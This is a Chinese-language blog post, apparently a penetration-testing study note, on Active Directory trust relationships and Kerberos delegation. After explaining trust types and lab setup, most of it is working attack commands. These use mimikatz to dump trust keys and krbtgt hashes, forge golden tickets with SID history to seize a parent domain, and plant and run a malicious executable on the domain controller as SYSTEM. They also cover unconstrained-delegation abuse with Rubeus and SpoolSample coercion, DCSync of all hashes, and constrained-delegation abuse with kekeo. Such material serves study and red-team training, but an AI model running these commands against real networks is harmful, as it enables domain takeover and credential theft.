单向信任:是指在两个域之间创建单向的信任路径,即在一个方向上是信任流,在另一个方向上是访问流,受信任域内的用户(或者计算机)可以访问信任域内的资源,但信任域内的用户无法访问受信任域内的资源。也就是说,A 域信任 B 域,那么 B 域内受信任的主体可以访问 A 域内信任 B 域的资源。

双向信任:是指两个单向信任的组合,信任域和受信任域彼此信任,在两个方向上都有信任流和访问流。这意味着,可以从两个方向在两个域之间传递身份验证请求。活动目录中的所有信任关系都是双向可传递的。在创建子域时,会在新的父域和子域之间自动创建双向可传递信任关系,从下级域发出的身份验证请求可以通关其父域向上流向信任域

域信任关系也可以分为内部信任和外部信任

内部信任:在默认情况下,用活动目录安装向导将新域添加到域树或林根域中,会自动创建双向可传递信任。在现有林中创建域树时,将建立新的树根信任,当前域树中的两个或多个域之间的信任关系被称为内部信任。这种信任关系是可传递的。例如,有三个子域 BA,CA,DA,BA 域信任 CA 域,CA 域信任 DA 域,则 BA 域也信任 DA 域。

外部信任是指两个不同林中的域的信任关系。外部信任是不可传递的,而且是单向的。

只有 domain admins 组中的用户可以管理域信任关系

image-20221214185958266

搭建和查看域信任关系

搭建域树(内部信任)

如果是复制的虚拟机请运行 C:\Windows\System32\sysprep\sysprep.exe 重新获取 SID,选择通用,重启

1、修改计算机名和修改 IP 地址,DNS 指向父域

2、安装 AD 域服务

3、升级为域控

image-20221216220001330

4、添加到现有林

5、提供父域的账号密码

6、正常安装直到结束

搭建域森林(外部信任)

1、修改计算机名和修改 IP 地址,DNS 指向根域

2、安装 AD 域服务

3、升级为域控

4、添加到现有林

获取域信息

在域中,Enterprise Admins 组(出现在林中的根域中)的成员具有对目录林中所有域的完全控制权限。在默认情况下,该组包含林中所有域控制器上具有 Administrators 权限的成员

Enterprise admins 只在根域上有,并且能管理本域中所有的子域

查看当前域中计算机的权限

1
whoami /all

查看域信任关系

1
nltest /domain_trusts

使用 lg 工具获取域的相关信息

获取当前域中的用户组

1
LG.exe abc\.

获取远程机器的本地用户组

1
LG.exe \\计算机名 -lu

获取远程系统中的用户 SID

1
LG.exe \\计算机名 -lu -sidsout

# 利用域信任密钥获取目标域

使用 mimikatz 获取 当前域的 SID 父域的 SID 子域域管的 NTLM 信任密钥

1
mimikatz.exe "privilege::debug" "lsadump::lsa /patch /user:HACK$" "lsadump::trust /patch" exit

rc4-hmac-hash == NTLM hash

在普通的域内用户中创建创建高权限票据

1
2
3
4
5
6
7
mimikatz.exe "kerberos::golden /domain:子域 /sid:子域SID /sids:父域-519 /rc4:信任密
钥 /user:任意用户 /service:krbtgt /target:父域 /ticket:subdc_administrator.kirbi"
exit
mimikatz.exe "kerberos::golden /domain:abc.hack.com /sid:S-1-5-21-2902250016-
280749999-3752131090 /sids:S-1-5-21-2716900768-72748719-3475352185-519
/rc4:4101a9a4410052f42a70990e5371a5b9 /user:administrator /service:krbtgt
/target:hack.com /ticket:administrator.kirbi" exit

上传 asktgs.exe 和 kirbikator.exe 工具,asktgs.exe 伪造票据,kirbikator.exe 注入票据

创建 CIFS 服务的票据进行复制文件的操作

1
shell asktgs.exe administrator.kirbi CIFS/DC.hack.com

将票据注入内存

1
shell kirbikator.exe lsa CIFS.DC.hack.com.kirbi

访问域控

1
shell dir \\dc.hack.com\c$

服务恶意文件,如果复制失败,请注入 host 服务票据。

1
shell copy 2.exe \\dc.hack.com\c$

伪造 host 服务,进行创建计划任务

1
shell asktgs.exe administrator.kirbi host/DC.hack.com

将票据注入内存

1
shell kirbikator.exe lsa host.DC.hack.com.kirbi

创建计划任务

1
schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\1.exe /ru system /f

执行计划任务

1
schtasks /run /s dc.hack.com /i /tn "test"

# 利用 krbtgt 哈希值获取目标域

获取 Krbtgt 散列

1
lsadump::lsa /patch /user:krbtgt

获取关键信息

1
lsadump::trust /patch

构造并注入黄金票据

1
2
Kerberos::golden /user:administrator /domain:当前域名 /sid:当前SID /sids:目标域SID-
519 /krbtgt:krbtgt散列 /ptt Kerberos::golden /user:administrator /domain:abc.hack.com /sid:S-1-5-21-2902250016-280749999-3752131090 /sids:S-1-5-21-2716900768-72748719-3475352185-519 /krbtgt:96d6714b1995e9d724a88ada46e9f30f /ptt

访问目标域

1
dir \\dc.hack.com\c$

# 域内委派攻击概述

域委派是指将域内用户的权限委派给服务账户,使得服务账号能够以用户的权限在域内展开活动。委派是域中的一种安全设置,可以允许某个机器上的服务代表某个用户去执行某个操作,主要分为三种:

1、非约束性委派

2、约束性委派

3、基于资源的约束性委派

一个域内用户访问 WEB 服务,但是一些资源在文件服务上,这个时候就需要委派攻击

image-20221219145249494

在域内只有主机账号和服务账号才有委派属性

主机账号:活动目录中的 computers 组内的计算机,也被称为机器账号。

服务账号:域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来加入域内,比如:SQLServer,MYSQL 等;域用户通过注册 SPN 也能成为服务账号。

1
2
net user test123 Admin@123 /add /domain 创建一个普通用户
setspn -U -A priv/test test123 注册为服务账号

# 非约束委派攻击

利用非约束委派域控主动访问控制域

1、使用 Adfifind 查询域内非约束委派机器账号

1
AdFind.exe -b "DC=hack,DC=com" -f "(&(samAccountType=805306369) (userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

查询具有委派的服务账号

1
2
AdFind.exe -b "DC=hack,DC=com" -f "(&(samAccountType=805306368)
(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn

3、这个时候如果域管访问了 pc-web 机器我们的内存中就会有域管的 TGT,就可以访问任意机器了,在

与域控上执行访问 PC-WEB (在域控上执行)

1
net use \\PC-WEB.HACK.COM /user:hack\administrator Admin@123

4、去 pc-web 导出内存中的票据

1
sekurlsa::tickets /export

4、进行票据传递就可以获取域控的权限了

1
mimikatz kerberos::ptt [0;54acdf]-2-0-60a10000-Administrator@krbtgtHACK.COM.kirbi

5、访问域控

1
shell dir \\dc.hack.com\c$

利用非约束委派域控被动访问控制域控

控制了域内的一台机器 OA,并且该机器的服务账号配置了非约束委派,如下:一般域管不会主动访问我们,我们可以 利用 Windows 打印系统远程协议(MS-RPRN)中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用 MS-RPRNRpcRemoteFindFirstPrinterChangeNotification (Ex) 方法强制任何运行了 Spooler 服务的计算机以通过 Kerberos 或 NTLM 对攻击者选择的目标进行身份验证。非约束性委派主机结合 Spooler 打印机服务漏洞,让域控机器 DC 强制访问已控的具有本地管理员权限的非约束性委派机器 OA ,从而拿到域管理员的 TGT,进而接管域控。(2008 机器可能复现不了,因为版本的问题)

进行实验之前一定要把所有的防火墙关闭

1、首先利用 Rubeus 在 OA 上以本地管理员权限执行以下命令,每隔一秒监听来自域控机器 DC 的登录信息

1
Rubeus.exe monitor /interval:1 /filteruser: DC$

再利用 SpoolSample 强制域控打印机回连,需在域用户进程上执行,所以这里切换成了普通域用户帐号去执行

1
SpoolSample.exe DC OA

Rubeus 导入票据

1
Rubeus.exe ptt /ticket:票据

获取域内用户的 hash

1
lsadump::dcsync /all /csv

# 约束性委派攻击

当这个用户不在域内,他在出差,不能使用 kerberos 去认证,只能使用其他协议认证 web 系统,那同样 WEB 系统也需要访问文件服务的资源,这个时候如何认证呢

Widnows Server 2003 之后微软引入了非约束委派。由于非约束委派的不安全性或者场景受限(配置了非约束委派的机器在 LSASS 中缓存了用户的 TGT 票据可模拟用户去访问域中任意服务),微软于 2007 年为 Kerberos 协议进行扩展引入 S4U (service for user) 协议,该协议分为两个子协议

1、S4u2self(Service for User to Self)

2、S4U2proxy(Service for User to Proxy)

这两个扩展都允许服务代表用户从 KDC 请求票证

约束委派限制了 S4U2proxy 协议的请求范围,使得配置了委派属性的服务只能模拟用户身份访问特定的其他服务

image-20221219171904181

存在的问题

1、服务账号 B 可以代表 A 申请访问 B 的票据,那么可不可以代表域管申请域管访问 B 的票据呢?在这个过程中,不需要域管参与,服务 B 自身就可以完成

2、服务账号 B 可以代表 A 申请访问 C 的票据,那么可不可以代表域管申请域管访问 C 的票据呢?在这个过程中,不需要域管参与,服务 B 自身就可以完成

约束性委派攻击流程

用户(A)访问 WEB 系统(B),B 代表 A 去向 KDC 申请访问 B 的 TGT 和 ST1 (使用 S4u2self), 用户 A 拿到了 ST1 就可以访问 B 了,如果在 B 上配置了约束性委派(A 到 C 的约束委派),则 B 能够使用 S4U2Proxy 协议将用户发给自己的可转发的 ST1 票据以用户的身份发给 KDC,KDC 返回 B 一个访问 C 的票据 ST2,这样 B 就可以以用户的身份访问 C

image-20221219172826955

1
2
3
4
5
6
7
1.通过NTLM或者其他认证
2.B代表A申请A访问B的票据(TGT和ST1)
3.KDC返回用户的TGT和ST1票据给B
4.B把ST1票据给A
5.A用ST1去访问B
6.B拿着A的ST1作为证据,去申请访问C的ST2
7.B用ST2票据访问C

伪造 A 的 TGT,向 KDC 申请 ST1,有了 ST1,可以使用 ST1 申请配置了对应服务的 ST2

我们已经控制了 ZS 的电脑,发现该电脑配置了约束性的委派,并且可以读取到该电脑的机器用户的 HASH 值

1、查询约束性委派的机器和用户

1
2
3
4
查询约束委派机器账户
AdFind.exe -b "DC=hack,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
查询约束委派服务账户
AdFind.exe -b "DC=hack,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

2、使用 mimikatz 获取机器账户 NTLM Hash

1
mimikatz sekurlsa::logonpasswords

3、使用 kekeo 申请配置了约束委派机器账户 PC-ZS$ 的 TGT

1
kekeo "tgt::ask /user:PC-ZS$ /NTLM:bd41aace231471169d848817a2c46178 /domain:hack.com" "exit"

利用 TGT 通过伪造 S4U 请求以 administrator 身份访问 PC-ZS 的 ST

1
kekeo "tgs::s4u /tgt:TGT_PC-ZS$@HACK.COM_krbtgt~hack.com@HACK.COM.kirbi /user:Administrator@hack.com /service:cifs/dc.hack.com" "exit"

mimkatz 注入

1
mimikatz kerberos::ptt TGS_Administrator@hack.com@HACK.COM_cifs~dc.hack.com@HACK.COM.kirbi
Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

John Doe WeChat Pay

WeChat Pay

John Doe Alipay

Alipay

John Doe PayPal

PayPal